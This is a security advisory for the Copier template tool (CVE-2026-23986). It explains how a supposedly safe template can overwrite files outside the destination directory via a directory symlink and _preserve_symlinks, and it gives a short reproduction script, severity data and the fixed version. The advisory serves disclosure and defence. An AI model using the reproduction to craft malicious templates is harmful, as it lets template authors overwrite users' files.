Advisory

PYSEC-2026-1272

Also known as: CVE-2026-23986, GHSA-4fqp-r85r-hxqh

Summary

Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true

Details

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

> [!NOTE]
>
> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using `os.scandir` which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt
# overwritten

Patches

n/a

Workarounds

n/a

References

n/a

Severity

High Basis: CVSS v3 score 7.1, vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Dates

Published
2026-07-07 16:03 UTC
Modified
2026-07-07 17:47 UTC

Affected packages and fixes

copier

PyPI · All systems

Affected

  • introduced 0, fixed 9.11.2 (ecosystem)

Fixed versions

9.11.2

Fix

  • Fixed version 9.11.2
    pip install --upgrade copier==9.11.2

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences